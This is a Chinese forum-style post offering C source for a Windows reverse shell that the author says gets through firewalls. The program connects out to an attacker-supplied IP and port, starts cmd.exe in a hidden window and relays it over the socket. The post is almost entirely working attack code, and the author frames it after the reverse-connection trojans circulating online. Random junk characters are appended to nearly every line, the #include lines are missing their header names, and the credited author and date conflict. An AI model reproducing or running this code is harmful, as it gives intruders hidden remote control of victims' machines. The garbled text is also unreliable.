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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [5)1 4% x  
&5(|a"5+G  
/* ============================== ]AERi] B  
Rebound port in Windows NT $w[@L7'(  
By wind,2006/7 u\^<V)  
===============================*/ I y8gQdI  
#include @o9EX }  
#include [ ]3xb`<&  
#mk#&i3"k  
#pragma comment(lib,"wsock32.lib") *vJ1~SRV  
?F AsV&y  
void OutputShell(); qAR~js`5  
SOCKET sClient; `USR]T_`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o$d; Y2K  
P%' bSx1  
void main(int argc,char **argv) "!E(= W?  
{ n_$lRX5  
WSADATA stWsaData; ?tqTG2!(  
int nRet; 9VV  
SOCKADDR_IN stSaiClient,stSaiServer; H$(%FWzQ%  
Z>o;Yf[  
if(argc != 3) |WXu;uf$.u  
{ >5/dmHPc  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~K:#a$!%,  
return; b[GZ sXD-  
} a=p3oh?%-O  
pUwx`"DrR  
WSAStartup(MAKEWORD(2,2),&stWsaData); ppb]RN|)  
wA.YEI|CSj  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S;+bQ.  
*N\U{)b\  
stSaiClient.sin_family = AF_INET; Vfg144FG'  
stSaiClient.sin_port = htons(0);  ;lW0p8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0u'2f`p*  
9S=9m[#y'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) hS*3yCE"8  
{ K+ufcct  
printf("Bind Socket Failed!\n"); Y<w2_+(  
return; yHr/i) c  
} K JPB-  
Ln[R}qD  
stSaiServer.sin_family = AF_INET; pA(@gisg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *Z|!%C  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <G2;nvRr  
3t68cdFlz  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2~R"3c+^  
{ `u%//m_(  
printf("Connect Error!"); !fzqpl\ze  
return; R/ l1$}  
} pL-p  
OutputShell(); xzW]D0o0  
} B wtD!de$  
COJqVC(#  
void OutputShell() w^G<]S {l  
{ }`f%"Z  
char szBuff[1024]; )w;XicT  
SECURITY_ATTRIBUTES stSecurityAttributes; qZKU=HM  
OSVERSIONINFO stOsversionInfo; t+m$lqm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ],qG!,V  
STARTUPINFO stStartupInfo; ^YenS6`F  
char *szShell; FK@rZP  
PROCESS_INFORMATION stProcessInformation; j\@s pbE@  
unsigned long lBytesRead; iknBc-TLD  
Kk9 JZ[nT'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7S2Bm]fP  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $w+g%y)  
stSecurityAttributes.lpSecurityDescriptor = 0; WZ6!VE {  
stSecurityAttributes.bInheritHandle = TRUE; g B+cU  
Z%(aBz7Et  
RUX!(Xw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h!yF   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qO&:J\d  
e3) rF5pp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F~W*"i+EZ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,dzbI{@6  
stStartupInfo.wShowWindow = SW_HIDE; 2#T|+mKxZM  
stStartupInfo.hStdInput = hReadPipe; r'{pTgm#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; f+fF5Z\  
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GetVersionEx(&stOsversionInfo); f[%\LHq  
P0' ;65  
switch(stOsversionInfo.dwPlatformId) &vdGKYs 6  
{ p7zHP  
case 1: d cPh @3  
szShell = "command.com"; @_1$ <8  
break; V)!Oss;i  
default: =J0FT2 d  
szShell = "cmd.exe"; D rHMlk5  
break; p_B,7@Jl  
} gOgG23 x  
$'?CY)h{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jpm}EOq<%  
VaVKWJg$  
send(sClient,szMsg,77,0); rIW`(IG_  
while(1) ;X|;/@@  
{ 9co -W+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *v l_3S5_  
if(lBytesRead) dr,j~s  
{ G dL\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m]7Y )&3  
send(sClient,szBuff,lBytesRead,0); cCyg&% zsT  
} w V2 7  
else L_)?5IOJ$  
{ 5!tmG- 'b  
lBytesRead=recv(sClient,szBuff,1024,0); 6st(s@>  
if(lBytesRead<=0) break; }! zjj\g^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W!XFaA$  
} 7D9R^\K  
} F_YZV)q!W  
z7HC6{g%X  
return; 0e:KiUr  
}
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